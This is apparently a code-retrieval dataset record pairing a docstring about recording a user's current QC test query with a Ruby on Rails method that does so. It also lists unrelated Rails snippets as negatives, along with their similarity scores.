"def set_request_end_time\n @request_end_time = Time.now\n diff = @request_end_time - @request_start_time\n request_threshold = Rails.application.config.request_elapsed_time_threshold\n if !request_threshold.blank? && diff > request_threshold\n RequestLogger.warn(\"Application process elapsed time of #{diff} seconds for Request User: #{Thread.current[:current_user].username}, URL: #{request.url}\")\n end\n end",
"def get_save_in_progress\n sip_model\n .select(:form_id)\n .where('form_id LIKE ?', \"%#{HEALTH_CARE_FORM_PREFIX}%\")\n .where(user_uuid: user.uuid)\n .to_a\n end",
"def get_context\n @context_hash ||= {}\n end",
"def show\n\n @user = current_user || User.new\n @participants = Participant.where(bookable_id: @bookable.id).all\n @attending = @bookable.attendee_count.to_i - @participants.count.to_i\n @walkin = Walkin.new\n @last_charge = Charge.where(user_id: @user.id).last\n @currently_attending = Participant.where(bookable_id: @bookable.id).where(user_id: @user.id).last\n @points = Point.where(user_id: @user.id).last\n @qualifications = Qualification.where(instructor_id: @bookable.instructor_id).all\n \n end",
"def context\n unless @instance_context\n @instance_context = SummaryContext.new(\n @version,\n @params['call_sid'],\n )\n end\n @instance_context\n end",
"def store_interest_update\n self.last_interest_update = Time.now\n end",
"def microsoft_store_for_business_last_successful_sync_date_time\n return @microsoft_store_for_business_last_successful_sync_date_time\n end",
"def custom_counter_cache_after_create\n if hired and user.active # only counting active users in counter\n update_counters_for_new_hire\n end\n end",
"def log_results(orig_cond_type, condition_type, loop_res, cond_res, orig_loop_res)\n return if Rails.env.production?\n\n begin\n Rails.logger.debug \"**#{orig_cond_type}*******************************************************************************************************\"\n Rails.logger.debug \"this instance: #{@current_instance.id}\"\n Rails.logger.debug \"condition_type: #{condition_type} - loop_res: #{loop_res} - cond_res: #{cond_res} - orig_loop_res: #{orig_loop_res}\"\n Rails.logger.debug @condition_config\n Rails.logger.debug @non_query_conditions\n Rails.logger.debug @base_query.to_sql if @base_query\n Rails.logger.debug @condition_scope.to_sql if @condition_scope\n Rails.logger.debug '*********************************************************************************************************'\n rescue StandardError => e\n Rails.logger.warn \"condition_type: #{condition_type} - loop_res: #{loop_res} - cond_res: #{cond_res} - orig_loop_res: #{orig_loop_res}\"\n Rails.logger.warn @condition_config\n Rails.logger.warn @join_tables\n Rails.logger.warn JSON.pretty_generate(@action_conf)\n Rails.logger.warn \"Failure in calc_actions: #{e}\\n#{e.backtrace.join(\"\\n\")}\"\n raise e\n end\n end",
"def log_user_event\n\n depositor.log_profile_event(event)\n end",
"def happening_expressions\n find_related_frbr_objects( :has_happening, :which_expressions?) \n end",
"def store_result()\n #This is a stub, used for indexing\n end",
"def after_save\n begin\n # https://redmine.corp.halomonitor.com/issues/3215\n #\n unless user.blank?\n # \n # Wed Feb 9 23:26:29 IST 2011, ramonrails\n # * this is the panic 'timestamp'\n # * we do not want any difference at all between timestamp in panic & user intake\n # \n # Thu Feb 10 23:17:52 IST 2011, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/4180\n # * tiemstamp may really not be the recent one. We need Time.now\n _time_now = Time.now\n #\n # buffer for last panic row related to this user\n user.update_attribute( :last_panic_id, id) # no validations\n # * this is only for cucumber purpose\n if user.has_caregivers.any?(&:raises_exception?)\n raise \"Custom exception for BDD tests only\" # WARNING: this will not send emails until exception handling is added here\n end\n #\n # \n # \"Ready to Bill\" state if panic is\n # * after \"Desired Installation Date\"\n # * senior is member of safety care, but in test mode (partial test mode)\n # * only apply \"ready to bill\" state when current state is any of\n # * Ready to Install or Install Overdue\n # * \"Installed\" means, panic button was ok. user was \"Bill\"ed by human action\n _allowed_states = [User::STATUS[:install_pending], User::STATUS[:overdue]]\n if !user.desired_installation_date.blank? && (_time_now > user.desired_installation_date) && _allowed_states.include?( user.status.to_s)\n # \n # Fri Dec 17 21:01:27 IST 2010, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/3891\n if user.order_placed_online?\n # transition the user from \"Ready to Install\" => \"Ready to Bill\"\n # * We need \"bill\" state when order was placed online\n if user.subscription_successful?\n # * already \"billed\". we can simply go to \"Installed\" state\n user.update_attribute( :status, User::STATUS[:installed]) # \"Installed\"\n else\n user.update_attribute( :status, User::STATUS[:bill_pending]) # \"Ready to bill\". no validations\n end\n else\n # * just mark the user \"Installed\", when created directly from user intake\n user.update_attribute( :status, User::STATUS[:installed]) # \"Installed\"\n end\n # # \n # # Tue Nov 23 00:48:30 IST 2010, ramonrails\n # # * Pro rata is charged from the date we received panic button after \n # user.user_intakes.first.update_attribute( :panic_received_at, _time_now) unless user.user_intakes.blank?\n #\n # add triage_audit_log with a message\n _message = \"Automatically transitioned from 'Ready to Insall' to 'Ready to Bill' state at 'Panic button'\"\n\n # \n # Wed Dec 1 03:36:39 IST 2010, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/3786\n # * if subscription was already charged, mark user \"installed\"\n elsif (user.status.to_s == User::STATUS[:bill_pending]) && user.subscription_successful?\n user.update_attribute( :status, User::STATUS[:installed]) # \"Installed\"\n # # \n # # Tue Nov 23 00:48:30 IST 2010, ramonrails\n # # * Pro rata is charged from the date we received panic button after \n # user.user_intakes.first.update_attribute( :panic_received_at, _time_now) unless user.user_intakes.blank?\n #\n # add triage_audit_log with a message\n _message = \"Automatically transitioned from any existing state to 'Installed' state at 'Panic button' because subscription started before panic event.\"\n end\n # \n # Tue Nov 23 00:48:30 IST 2010, ramonrails\n # * Pro rata is charged from the date we received panic button after \n # Fri Dec 17 21:03:40 IST 2010, ramonrails\n # * This is common method call for \"if\" conditions above\n unless user.user_intakes.blank?\n _intake = user.user_intakes.first\n # \n # Fri Feb 11 00:48:03 IST 2011, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/4181\n # * we need panic_received_at and installed_at to reflect the actual timestamp\n # * we cannot however switch the status to \"Installed\" as we want a concurrent \"Ready to Bill\" status\n # if panic < desired \n # panic_received_at is not updated and stays blank\n # elsif (panic > desired or desired.blank?)\n if _intake.installation_datetime.blank? || ( _time_now > _intake.installation_datetime )\n # only the first panic updates panic_received_at, ignore subsequent panics\n if _intake.panic_received_at.blank?\n _intake.update_attribute( :panic_received_at, _time_now)\n # send \"<halouser> installed\" email\" \n user.notify_about_installation\n # \n # update User.installed_at\n # Tue May 24 23:08:25 IST 2011, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/4486\n # * Installed at should not be updated when panic button is sent before \"Ready for Approval\" state\n # * status.blank? means 'Not Submitted'\n user.update_attribute( :installed_at, _time_now) unless user.status.blank?\n # \n # make all caregivers active\n # Fri Feb 4 01:06:31 IST 2011, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/4147\n # all caregivers are active now\n user.has_caregivers.each { |e| e.set_active_for( user, true) }\n # Installed timestamp in the \"Status\" column of Single Row User Intake\n # * updated in _user_intake_row.html.erb\n #\n # Completely disable test mode (User.test_mode = false)\n # \n # Fri Feb 4 22:31:15 IST 2011, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/4152\n # * make user out of test mode here\n user.test_mode = false\n user.send( :update_without_callbacks)\n end\n end\n # # \n # # Fri Jan 28 02:15:27 IST 2011, ramonrails\n # # * https://redmine.corp.halomonitor.com/issues/4111#note-7\n # # * update the Panic.after_save, only store the first panic after installation_datetime, not every subsequent panic\n # if _intake.installation_datetime.blank?\n # # Installation date time blank?\n # ## First panic stored\n # ## Subsequent panics do not over-write the first stored one\n # _intake.update_attribute( :panic_received_at, _time_now) if _intake.panic_received_at.blank?\n # \n # elsif _intake.panic_received_at.blank? || (_intake.panic_received_at < _intake.installation_datetime)\n # # Installation date time given?\n # ## First panic after the timestamp, is stored. Overwriting any existing one that might have existed before the timestamp\n # ## Subsequent panics do not overwrite the existing stored one\n # _intake.update_attribute( :panic_received_at, _time_now)\n # end\n end\n\n #\n # add to triage audit log with a message\n if defined?( _message) && !_message.blank?\n #\n # add a row to triage audit log\n # cyclic dependency is not created. update_withut_callbacks is used in triage_audit_log\n attributes = {\n :user => user,\n :is_dismissed => user.last_triage_status,\n :status => user.status,\n :created_by => user.id,\n :updated_by => user.id,\n :description => _message\n }\n TriageAuditLog.create( attributes)\n end\n\n # Wed Nov 3 23:33:00 IST 2010, ramonrails \n # Old logic: \"Installed\" state can only be achieved by manual human action by clicking \"Bill\" in user intake\n # shifted now to user_intake.rb\n # # \n # # Ready for Install > Installed (green) is automatically transitioned\n # # Check for panic button test (must occur after the install date)\n # auto_install = ((user.status == User::STATUS[:install_pending]) && (_time_now > user.desired_installation_date))\n # if auto_install\n # user.status = User::STATUS[:installed]\n # #\n # # explicitly send email to group admins, halouser, caregivers. tables are saved without callbacks\n # [ user,\n # user.user_intakes.collect(&:caregivers),\n # user.user_intakes.collect(&:group).flatten.uniq.collect(&:admins)\n # ].flatten.uniq.each do |_user|\n # UserMailer.deliver_user_installation_alert( _user)\n # end\n # end\n #\n # Wed Nov 3 23:34:26 IST 2010, ramonrails \n # used update_attribute with validation skipping instead\n # user.send(:update_without_callbacks) # quick fix to https://redmine.corp.halomonitor.com/issues/3067\n # \n # Wed Nov 3 23:37:05 IST 2010, ramonrails \n # user is already a member when partial test mode was activated\n # user.is_halouser_of( Group.safety_care!) # user should also be opted in to call center\n end\n #\n # ramonrails: Thu Oct 14 02:05:21 IST 2010\n # return TRUE to continue executing further callbacks, if any\n true\n rescue Exception => e\n # \n # Wed Feb 9 23:16:17 IST 2011, ramonrails\n # * at least send an email about this error\n CriticalMailer.deliver_monitoring_failure( \"Technical exception #{e}\", self)\n true # no matter what, execute critical_device_event_observer.after_save\n end\n end",
"def _update_counts_after_update\n _wrap_in_counter_culture_active do\n self.class.after_commit_counter_cache.each do |option|\n _update_counts option\n end\n end\n end",
"def limit_to_tenant! # rubocop:disable Metrics/AbcSize\n @stats[:user_count] = @stats[:user_count].where(tenant_id: current_user.tenant_id)\n @stats[:dataset_count] = @stats[:dataset_count].joins(resources: :user)\n .where(['stash_engine_users.tenant_id = ?', current_user.tenant_id]).distinct\n @stats[:user_7days] = @stats[:user_7days].where(tenant_id: current_user.tenant_id)\n @stats[:dataset_started_7days] = @stats[:dataset_started_7days].joins(:user)\n .where(['stash_engine_users.tenant_id = ?', current_user.tenant_id])\n @stats[:dataset_submitted_7days] = @stats[:dataset_submitted_7days].joins(resources: :user)\n .where(['stash_engine_users.tenant_id = ?', current_user.tenant_id]).distinct\n end",
"def user_dashboard_Details(dte)\n @books_borrowed = current_auth.transcations.where('startdte >= \\'' + (dte - 7).strftime(\"%Y-%m-%d\") + '\\'' ).count.to_s\n\n @books_returned = current_auth.transcations.where('returned = true and returneddoj >= \\'' + (dte - 7).strftime(\"%Y-%m-%d\") + '\\'' ).count.to_s\n @books_pending = current_auth.transcations.where('returned = false and enddte between \\'' + (dte - 7).strftime(\"%Y-%m-%d\") + '\\' and \\'' + dte.strftime(\"%Y-%m-%d\") + '\\'' ).count.to_s\n \n @allbooks_pending = current_auth.transcations.where('returned = false ' ).count.to_s\n\n @new_books = Book.where('created_at >= \\'' + (dte - 7).strftime(\"%Y-%m-%d\") + '\\'' ).count.to_s\n\nend",
"def current_budget\n Budget.where(user_id: current_user.id).sort_by(&:created_at).last\n end",
"def peek\n context.last\n end",
"def microsoft_store_for_business_last_completed_application_sync_time=(value)\n @microsoft_store_for_business_last_completed_application_sync_time = value\n end",
"def initialize context\n @context = context\n @store = context.store\n\n @seen = {}\n end",
"def profiling_info\n Cursor.new(Collection.new(SYSTEM_PROFILE_COLLECTION, self), :selector => {}).to_a\n end",
"def show_recent_visits\n nbr_completed_visits = 5 unless params[:last_appointments].nil?\n @completed_visits = current_user.patient_encounters.completed(nbr_completed_visits)\n end",
"def _refine_top_query_scope\n # recommended before_filter for subclasses to restrict @parent_object further.\n raise \"Override in subclass.\"\n end",
"def user_details\n wizard_step(STEPS) { { after_merge: :save_account } }\n end",
"def label\n user_parameters[:query]\n end",
"def query_system_demand\n User.where('created_at <= ?', report_date.beginning_of_day).count\n end"
] |
[
"0.5967394",
"0.5889454",
"0.5630853",
"0.54270166",
"0.52208525",
"0.5065545",
"0.50535",
"0.5041118",
"0.49943486",
"0.49584913",
"0.4955712",
"0.4947984",
"0.4837096",
"0.48126897",
"0.4806059",
"0.47935674",
"0.47928923",
"0.4765731",
"0.47293645",
"0.47159162",
"0.47060525",
"0.46820685",
"0.46791586",
"0.46619663",
"0.46427563",
"0.46427563",
"0.46389213",
"0.46193942",
"0.45936614",
"0.4589358",
"0.45588636",
"0.45540947",
"0.4547946",
"0.45376697",
"0.4526887",
"0.45218882",
"0.45195732",
"0.4514747",
"0.45082828",
"0.44995496",
"0.44977295",
"0.44812435",
"0.44647557",
"0.44647557",
"0.44594607",
"0.4443699",
"0.44396752",
"0.44372705",
"0.44250953",
"0.44212073",
"0.44212073",
"0.44212073",
"0.4412661",
"0.4409987",
"0.44064918",
"0.4392614",
"0.43885875",
"0.4384124",
"0.43832356",
"0.43807656",
"0.43798727",
"0.43798727",
"0.43748084",
"0.43725008",
"0.43534458",
"0.43488523",
"0.43433073",
"0.4342576",
"0.43415174",
"0.4334117",
"0.4332913",
"0.4330464",
"0.4329796",
"0.4324612",
"0.43235612",
"0.4320616",
"0.4320278",
"0.43197525",
"0.43123764",
"0.43107334",
"0.43083033",
"0.4305682",
"0.4302123",
"0.42996076",
"0.42971566",
"0.4291365",
"0.42889532",
"0.4287165",
"0.4284855",
"0.42827672",
"0.42777333",
"0.42721838",
"0.42683542",
"0.42653176",
"0.4265056",
"0.42540976",
"0.42484614",
"0.4247623",
"0.42469046",
"0.42452338"
] |
0.7103345
|
0
|
Record the query for tests that the user is currently working on.
|
def log_current_test_query
qc_current_inspection = get_current_inspection_record( session[:user_id].id, session[:qc_inspection_type_code] )
if qc_current_inspection.nil?
ActiveRecord::Base.connection.execute("INSERT INTO qc_current_inspections
(user_id, qc_inspection_type_code, qc_tests_query, tests_columns_list)
VALUES(#{session[:user_id].id}, '#{session[:qc_inspection_type_code]}',
'#{dm_session[:search_engine_query_definition].gsub(/'/, "''")}', '#{session[:columns_list].to_yaml}')")
else
ActiveRecord::Base.connection.execute(ActiveRecord::Base.extend_update_sql_with_request("UPDATE qc_current_inspections
SET qc_tests_query = '#{dm_session[:search_engine_query_definition].gsub(/'/, "''")}',
tests_columns_list = '#{session[:columns_list].to_yaml}'
WHERE user_id = #{session[:user_id].id} AND qc_inspection_type_code = '#{session[:qc_inspection_type_code]}' "))
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def log_current_cusiness_context_query\n qc_current_inspection = get_current_inspection_record( session[:user_id].id, session[:qc_inspection_type_code] )\n if qc_current_inspection.nil?\n ActiveRecord::Base.connection.execute(\"INSERT INTO qc_current_inspections\n (user_id, qc_inspection_type_code, qc_business_context_query, columns_list)\n VALUES(#{session[:user_id].id}, '#{session[:qc_inspection_type_code]}',\n '#{dm_session[:search_engine_query_definition].gsub(/'/, \"''\")}', '#{session[:columns_list].to_yaml}')\")\n else\n ActiveRecord::Base.connection.execute(ActiveRecord::Base.extend_update_sql_with_request(\"UPDATE qc_current_inspections\n SET qc_business_context_query = '#{dm_session[:search_engine_query_definition].gsub(/'/, \"''\")}',\n columns_list = '#{session[:columns_list].to_yaml}'\n WHERE user_id = #{session[:user_id].id} AND qc_inspection_type_code = '#{session[:qc_inspection_type_code]}' \"))\n end\n end",
"def user_created_query _user, query\n the_case = query.case\n\n data = {\n category: 'Queries',\n action: 'Created a Query',\n label: query.query_text,\n value: the_case.queries.count,\n bounce: false,\n }\n\n create_event data\n end",
"def current_qc_tests\n return if authorise_for_web(program_name(params[:id]),'edit')== false\n session[:qc_inspection_type_code] = params[:id]\n qc_current_inspection = ActiveRecord::Base.connection.select_one(\"select * from qc_current_inspections\n where user_id = #{session[:user_id].id}\n and qc_inspection_type_code = '#{params[:id]}'\")\n if qc_current_inspection.nil? || qc_current_inspection.qc_business_context_query.nil?\n redirect_to_index(\"'You have not yet listed tests for #{params[:id]}'\", \"''\")\n else\n dm_session[:search_engine_query_definition] = qc_current_inspection.qc_tests_query\n session[:columns_list] = YAML.load(qc_current_inspection.tests_columns_list)\n submit_tests_search\n end\n end",
"def check_query\n self.query\n end",
"def inspector_started_query(query, inspector)\n puts(\"\")\n puts(\"Looking for related GitHub issues on #{inspector.repo_owner}/#{inspector.repo_name}...\")\n puts(\"Search query: #{query}\") if FastlaneCore::Globals.verbose?\n puts(\"\")\n end",
"def welcome\n week = TestMeta.week\n \n # Get the user's test for this week\n @test = Test.where( { :study_user_id => @user, :week => week } ).first\n \n @welcome_state = nil\n \n if @test.complete\n # User has already completed this week's test\n @welcome_state = :already_finished\n \n elsif @test.state and [email protected] \n # User is returning in the middle of an existing test\n @welcome_state = :already_started\n \n \n # Time has no expired\n \n # Time has expired\n \n else \n # User is starting a new test\n @welcome_state = :new_test\n \n @condition = @test.get_condition\n \n if @test.condition == \"none\" or Question.where( :active => true ).empty?\n # There is no test this week \n @test.complete = true \n end\n \n @test.started_at = DateTime.now\n @test.save\n end\n \n end",
"def user_updated_query_notes _user, query\n data = {\n category: 'Queries',\n action: 'Updated Query Notes',\n label: query.query_text,\n value: nil,\n bounce: false,\n }\n\n create_event data\n end",
"def get_current_inspection_record( user_id, qc_inspection_type_code )\n ActiveRecord::Base.connection.select_one(\"select * from qc_current_inspections\n where user_id = #{user_id}\n and qc_inspection_type_code = '#{qc_inspection_type_code}'\")\n end",
"def employer_dashboard\n #send query parameter for filteration\n @tests = Test.employer_test_which_are(current_user,params[:q])\n end",
"def query\n print_banner\n @value = query_ask\n end",
"def pioQuery\n client.query(current_company.user => 4)\n end",
"def test_friendly_fields_true\n while_logged_in do\n with_queries do\n assert_block do\n entities = @conn.tasks(query:@small_query,nice_keys:true)[:entities]\n entities.first.keys.include? \"Created By\"\n end\n end\n end\n end",
"def current_status_aaa\n\t\t@workflows = WorkFlow.where(is_active: true, is_in_use: false)\n\t if session[:report_wildcard].present?\n\t @wildcard = session[:report_wildcard]\n\t end\n\t if session[:report_exact].present?\n\t @exact = session[:report_exact]\n\t end\n\t \n\t\tif request.post? or session[:report_q_string].present?\n\t\t\tif request.post?\n\t\t\t\t@serach_result = search[0]\n\t\t\t\tif search[1] != ''\n\t\t\t\t\t@report_serach_result = WorkFlow.current_report_search(search[1])\n\t\t\t\tend\n\t\t\t\n\t\t\telse\n\t\t\t \tq_string = session[:report_q_string]\n\t\t\t \tif q_string != ''\n\t\t\t\t\t@serach_result = WorkFlow.search(q_string)\n\t\t\t\t\t@report_serach_result = WorkFlow.current_report_search(q_string)\n\t\t\t\tend\n\t\t\tend\t\n\t\tend\n\tend",
"def current_qc_business_context_search\n return if authorise_for_web(program_name(params[:id]),'create')== false\n session[:qc_inspection_type_code] = params[:id]\n qc_current_inspection = ActiveRecord::Base.connection.select_one(\"select * from qc_current_inspections\n where user_id = #{session[:user_id].id}\n and qc_inspection_type_code = '#{params[:id]}'\")\n if qc_current_inspection.nil? || qc_current_inspection.qc_business_context_query.nil?\n redirect_to_index(\"'You have not yet captured an inspection for #{params[:id]}'\", \"''\")\n else\n dm_session[:search_engine_query_definition] = qc_current_inspection.qc_business_context_query\n session[:columns_list] = YAML.load(qc_current_inspection.columns_list)\n submit_business_context_search\n end\n end",
"def query\n end",
"def db_working(message = \"Started at #{Time.zone.now}\")\n update_db_status({ status: STATUS_WORKING, message: message, attempts: db_status.attempts + 1 })\n end",
"def status(user)\n if rest_day # Rest day if flag is set\n :rest\n else \n cw = CompletedWorkout.get(user, self)\n if cw\n if cw.mgr_override # Excused if there is a manager override\n :excused \n else\n :completed # Completed normally without mgr override\n end\n else\n if active?(user)\n :open\n else\n :expired\n end\n end\n end\n \n end",
"def waits_for_statement?(user)\n #TODO move this two ors to it's own status method\n unless absolved? || interrupted?\n if admited_interrupt?\n temp_approval = interrupt.approval ||= InterruptApproval.create\n elsif !final_exam_passed? && study_plan && !study_plan.approved?\n temp_approval = study_plan.approval ||= StudyPlanApproval.create\n elsif !final_exam_passed? && study_plan && study_plan.approved?\n if !study_plan.attestation || !study_plan.attestation.is_actual?\n temp_approval = study_plan.attestation = Attestation.create(:document_id => study_plan.id)\n else\n temp_approval = study_plan.attestation\n end\n end\n temp_approval && temp_approval.prepares_statement?(user)\n end\n end",
"def search (query_string)\n\n OpenWFE::Extras::Workitem.search(query_string, store_names).find_all do |wi|\n\n @user.admin? or (\n wi.store_name != 'users' || wi.participant_name == @user.name)\n end\n end",
"def set_user_query\n @user_query = UserQuery.find(params[:id])\n end",
"def set_user_query\n @user_query = UserQuery.find(params[:id])\n end",
"def initial_query; end",
"def before_query(query)\n Rails.logger.info(\"[QUERY BEGIN] >>> #{Time.now.to_i}\")\n end",
"def show\n @active_goals = @supported_user.goals.where(:active => true)\n @recent_journal_entries = @supported_user.journal_entries.order(:dateTimeOfTraining).reverse.last(20)\n end",
"def flag_as_good(query)\n flag 'good', query\n end",
"def jql_reopened(usr, from, till)\n jql = 'jql='\n jql << \"'First Reopened Date'>=#{from} AND \" if from\n jql << \"'First Reopened Date'<=#{till} AND \" if till\n jql << \"'First Reopened User'=#{usr}\"\n end",
"def view_info(db, user_id)\n puts \"Which exercise would you like to view?\"\n exercise = gets.chomp\n until is_existing_exercise(db, exercise) do\n puts \"Invalid exercise. Please retry.\"\n exercise = gets.chomp\n end\n\n results = db.execute(\"SELECT * FROM exercises_users WHERE user_id=? AND exercise_id=?\", [user_id, exercise_id])\n puts \"You last did #{results[0][1]} reps of #{exercise} at #{results[0][2]} pounds\"\nend",
"def jql_resolved(usr, from, till)\n jql = 'jql='\n jql << \"resolved>=#{from} AND \" if from\n jql << \"resolved<=#{till} AND \" if till\n jql << \"'First Resolution User'=#{usr}\"\n end",
"def workout_program(user)\n return workout_summary(user) if user.started?\n start_workout(user)\n end",
"def show\n # @answers = Answer.wheres(user_id: current_user.id)\n # time = Time.now\n @answers = current_user.answers\n # Question.where(operation_id: nil)\n # raise 'hi'\n # @oquestions = current_user.operation.questions\n end",
"def query; end",
"def matchups_requiring_action\n self.matchups.select{|matchup| matchup.status == \"Draft\" && matchup.whose_pick?.user == self}\n end",
"def claimed_wql value\n case value\n when \"yes\"\n add_to_wql :referred_to_by, claimed_true_query[:linked_to_by]\n when \"no\"\n add_to_wql :not, claimed_true_query\n end\n end",
"def browse\n todaydate = Time.now.in_time_zone(\"US/Pacific\").to_date\n now = Time.now\n\n # grab upcoming contests that user can enter.\n @contests = Contest.in_range(current_user, todaydate, todaydate+1).eligible(current_user, now)\n \n # for realtime push testing: show fake contests only when user is admin\n if current_user.try(:admin)\n @contests += Contest.where(\"contest_start > ?\", Date.strptime(\"2030\",\"%Y\"))\n end\n\n end",
"def log_current_inspection\n qc_current_inspection = get_current_inspection_record( session[:user_id].id, @qc_inspection_type_code )\n if qc_current_inspection.nil?\n ActiveRecord::Base.connection.execute(\"INSERT INTO qc_current_inspections (user_id, qc_inspection_type_code, qc_inspection_id)\n VALUES(#{session[:user_id].id}, '#{@qc_inspection_type_code}', #{@qc_inspection.id})\")\n else\n ActiveRecord::Base.connection.execute(ActiveRecord::Base.extend_update_sql_with_request(\"UPDATE qc_current_inspections SET qc_inspection_id = #{@qc_inspection.id}\n WHERE user_id = #{session[:user_id].id} AND qc_inspection_type_code = '#{@qc_inspection_type_code}' \"))\n end\n end",
"def new_query\n @versions = Version.curr_version.order(:id)\n @enzymes = Enzyme::ENZYMES_WO_GAPFILL\n end",
"def active?(user)\n user.current_date == start_date && (end_date.nil? || user.current_date <= end_date) && not(complete?(user))\n end",
"def query_system_demand\n User.where('created_at <= ?', report_date.beginning_of_day).count\n end",
"def suggested(user)\n @user = User.find(user)\n level = @user.level\n completed_task_ids = @user.completed_tasks.pluck(:task_id)\n @task = Task.where(\"level = ? AND id NOT IN (?)\", level, completed_task_ids).sample\n mail(to: \"#{@user.name} <#{@user.email}>\", subject: \"#{@user.name} - Here's Your Friday Feature Challenge\")\n end",
"def query!\n return true if query?\n\n raise 'This command may only be used in private.'\n end",
"def current_query=(query)\n @current_query = session[:advanced_query] = query\n end",
"def autocomplete_work_on\r\n prepare_values\r\n @check_in_time = params[:it]\r\n \r\n #set current time if nil\r\n if (@check_in_time == \"\")\r\n @check_in_time = @current_time \r\n end\r\n #check if time is edit\r\n @edit_authorize = 0 if (@this_work.work_in !=nil) \r\n if (@manager_mode == 1 || @edit_authorize == 1)\r\n #validate before save\r\n validate_date(@this_date_str)\r\n validate_work_in(@check_in_time)\r\n if (@error_message == nil)\r\n @old_hours = (@this_work.work_hours==nil) ? \"\" : @this_work.work_hours\r\n check_in(@check_in_time)\r\n end\r\n else\r\n @error_message = l(:ts_error_not_authorize) \r\n end\r\n render(:layout=>false)\r\n end",
"def index\n @queries = Query.where(:user_id => current_user.id)\n end",
"def statement_for(user)\n #TODO move this two ors to it's own status method\n unless status == absolved? || interrupted?\n if admited_interrupt?\n interrupt.approval ||= InterruptApproval.create\n if interrupt.approval.prepares_statement?(user)\n return interrupt.approval.prepare_statement(user)\n end\n elsif study_plan\n if !study_plan.approved?\n study_plan.approval ||= StudyPlanApproval.create(:document_id => study_plan.id)\n if study_plan.approval.prepares_statement?(user)\n return study_plan.approval.prepare_statement(user)\n end\n elsif study_plan.waits_for_actual_attestation?\n if !study_plan.attestation || !study_plan.attestation.is_actual?\n study_plan.attestation = Attestation.create(:document_id => study_plan.id)\n end\n return study_plan.attestation.prepare_statement(user)\n end\n end\n end\n end",
"def can_enter?(user)\n self.is_active &&\n self.teams.include?(user.team) &&\n (self.start_date < Time.now) && (!self.finish_date || self.finish_date > Time.now)\n end",
"def test_users_searches\n do_users_all\n do_simple_query\n do_tag_query\n do_profile_query\n end",
"def visible_condition_with_watched_issues(user, options={})\n Project.allowed_to_condition(user, :view_issues, options) do |role, user|\n if user.logged?\n\n # Add watched issues to list if allowed\n watched_condition = if role.allowed_to?(:view_watched_issues_list)\n <<-SQL\n OR EXISTS ( SELECT * FROM #{ Watcher.table_name } as wts\n WHERE wts.watchable_type = 'Issue'\n AND wts.watchable_id = #{Issue.table_name}.id\n AND wts.user_id = #{ user.id } )\n SQL\n else\n ''\n end\n\n case role.issues_visibility\n when 'all'\n nil\n when 'default'\n user_ids = [user.id] + user.groups.map(&:id)\n \"(#{table_name}.is_private = #{connection.quoted_false} OR #{table_name}.author_id = #{user.id} OR #{table_name}.assigned_to_id IN (#{user_ids.join(',')}) #{ watched_condition })\"\n when 'own'\n user_ids = [user.id] + user.groups.map(&:id)\n \"(#{table_name}.author_id = #{user.id} OR #{table_name}.assigned_to_id IN (#{user_ids.join(',')}) #{ watched_condition })\"\n else\n '1=0'\n end\n else\n \"(#{table_name}.is_private = #{connection.quoted_false})\"\n end\n end\n end",
"def interested_in_scenario( params )\n position = create(:position)\n committee = create(:enrollment, position: position, requestable: true ).committee\n membership_request = create(:membership_request,\n user: create(:user, statuses_mask: params[:user_statuses_mask]),\n committee: committee )\n position.reload\n create(:period, schedule: position.schedule)\n membership = position.memberships.first\n expect(membership.position_id).to eql position.id\n if params[:membership_request_expired]\n membership_request.ends_at = membership.starts_at - 1.day\n membership_request.starts_at = membership_request.ends_at - 1.year\n else\n membership_request.ends_at = membership.starts_at + 1.year\n membership_request.starts_at = membership_request.ends_at - 2.years\n end\n membership_request.save!\n committee.enrollments.first.update_attribute :requestable, params[:requestable_by_committee]\n position.update_attribute :statuses_mask, params[:position_statuses_mask]\n# scope = MembershipRequest.joins(:user).interested_in( membership ).uniq\n scope = membership.membership_requests.overlapping\n if params[:success]\n expect(scope.length).to eql 1\n expect(scope).to include membership_request\n else\n expect(scope.length).to eql 0\n end\n end",
"def query\n\t\tQuery.new(\"true\")\n\tend",
"def check_lunch_in(user_id)\n db_params = {\n host: ENV['host'],\n port: ENV['port'],\n dbname: ENV['dbname'],\n user: ENV['user'],\n password: ENV['password']\n }\n db = PG::Connection.new(db_params)\n check = db.exec(\"SELECT * FROM timesheet_new WHERE user_id = '#{user_id}' AND lunch_start = 'N/A' AND time_out = 'N/A'\")\n db.close\n if check.num_tuples.zero? == false\n true\n else\n false\n end \nend",
"def test_friendly_fields_false\n while_logged_in do\n with_queries do\n assert_block do\n entities = @conn.tasks(query:@small_query,nice_keys:false)[:entities]\n entities.first.keys.include? \"creation-time\"\n end\n end\n end\n end",
"def working\n current_user.chef.toggle(:currently_working).save\n end",
"def current_status\n\t\t@workflows = WorkFlow.where(is_active: true, is_in_use: false)\n\t\t@report_include_canceled = session[:report_include_canceled]\n \t@report_include_completed = session[:report_include_completed]\n\t \n\t if session[:report_wildcard].present?\n\t @wildcard = session[:report_wildcard]\n\t end\n\t if session[:report_exact].present?\n\t @exact = session[:report_exact]\n\t end\n\t if request.post? or session[:report_q_string].present?\n\t \tq_string = ''\n \t\t\tif request.post?\n \t\t\t\tsession[:params_search] = params \n\t\t\t if params[:report_include_canceled].presence\n\t\t\t @report_include_canceled = params[:report_include_canceled]\n\t\t\t session[:report_include_canceled] = @report_include_canceled\n\t\t\t else\n\t\t\t session.delete(:report_include_canceled)\n\t\t\t end\n\t\t\t if params[:report_include_completed].presence\n\t\t\t @report_include_completed = params[:report_include_completed]\n\t\t\t session[:report_include_completed] = @report_include_completed\n\t\t\t else\n\t\t\t session.delete(:report_include_completed)\n\t\t\t end\n\n \t\t\t\t@serach_result = search[0]\n \t\t\t\tq_string = search[1]\n \t\t\telse\n \t\t\t \tq_string = session[:report_q_string]\n \t\t\t \tif q_string != ''\n\t\t\t\t\tif @report_include_canceled == 'report_include_canceled' and @report_include_completed == 'report_include_completed'\n\t\t\t\t\t\t@serach_result = WorkFlow.search(q_string)\n\t\t\t\t\telsif @report_include_canceled == 'report_include_canceled'\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_complete(q_string)\n\t\t\t\t\telsif @report_include_completed == 